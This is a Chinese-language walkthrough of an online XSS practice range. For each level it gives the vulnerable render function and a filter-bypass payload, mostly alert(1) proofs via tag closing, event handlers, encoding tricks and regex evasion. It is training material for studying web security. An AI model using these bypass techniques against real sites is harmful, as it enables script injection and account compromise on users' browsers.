XSS简单在线靶场
靶场里的题以绕过为主,我们的目的是绕过防护执行alert(1),只要能执行alert(1),页面就会显示通过,同时左侧对应的当前关卡也会打上对钩。
项目:https://github.com/haozi/xss-demo
在线地址:https://xss.haozi.me
在线网站目录下的包含alert(1)的js文件地址:https://xss.haozi.me/j.js
0x00
写一对JS标签,里面直接输入脚本语句
function render (input) {
return '<div>' + input + '</div>'
}
<script>alert(1)</script>
0x01
闭合</textarea>
再输入脚本语句
function render (input) {
return '<textarea>' + input + '</textarea>'
}
</textarea><script>alert(1)</script>
0x02
闭合">
再输入脚本语句
function render (input) {
return '<input type="name" value="' + input + '">'
}
"><script>alert(1)</script>
0x03
过滤了小括号,可以用用反引号代替小括号
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
<script>alert`1`</script>
0x04
过滤了小括号和反单引号,用img标签报错触发动作,再将小括号转编码为(
和1)
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
<img src=1 onerror="alert(1)"
0x05
语句输出在html注释里,并将结束注释符-->
变成😂,可以采用另一种闭合方式--!>
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>
0x06
输出在input标签里,并将许多关键字和字符替换成了_
。正则中.*
不包括换行符
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
#payload
type="image" src=1 onerror
=alert(1)
0x07
过滤闭合的<>
,插入报错图片
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
<img src=1 onerror="alert(1)"
0x08
插入在css样式表里,回车绕过正则
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
#payload
</style
><script>alert(1)</script>
0x09
输入正则中的网址,闭合JS标签,写入攻击语句
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
http://www.segmentfault.com"></script><img src=1 onerror="alert(1)"
0x0A
将特殊字符转义再输出
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
@重定向超链接:
https://www.segmentfault.com@xss.haozi.me/j.js
或者使用网站自带的JS链接文件:
https://www.segmentfault.com.haozi.me/j.js
0x0B
将字符转换成大写了
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
0x0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
svg标签或img标签
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
双写重定向:
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>
0x0D
这一关,我表示不理解,不知道为什么—>能注释掉后面的括号//却不行
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
//payload
alert(1)
-->
0x0E
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
ſ
字符,是古英语中s
的写法,在网页里可以匹配s
,但在正则中却不属于[a-z]范围,这样就可以绕过正则使用<script>
标签
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}
虽然转义了,但在html是可以解析的,等于无效转义
');alert('1
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
'';alert(1);
0x11
将"
,替换成\\"
,直接输出转义作用在中间的\
上,变成\"
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
");alert(1)//
0x12
将"
,替换成\\"
,与上面规则相同,但输出时用了字符串拼接,使得转义后的\"
的\
还具有转义效果
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
在前面再填一个\
\");alert(1)//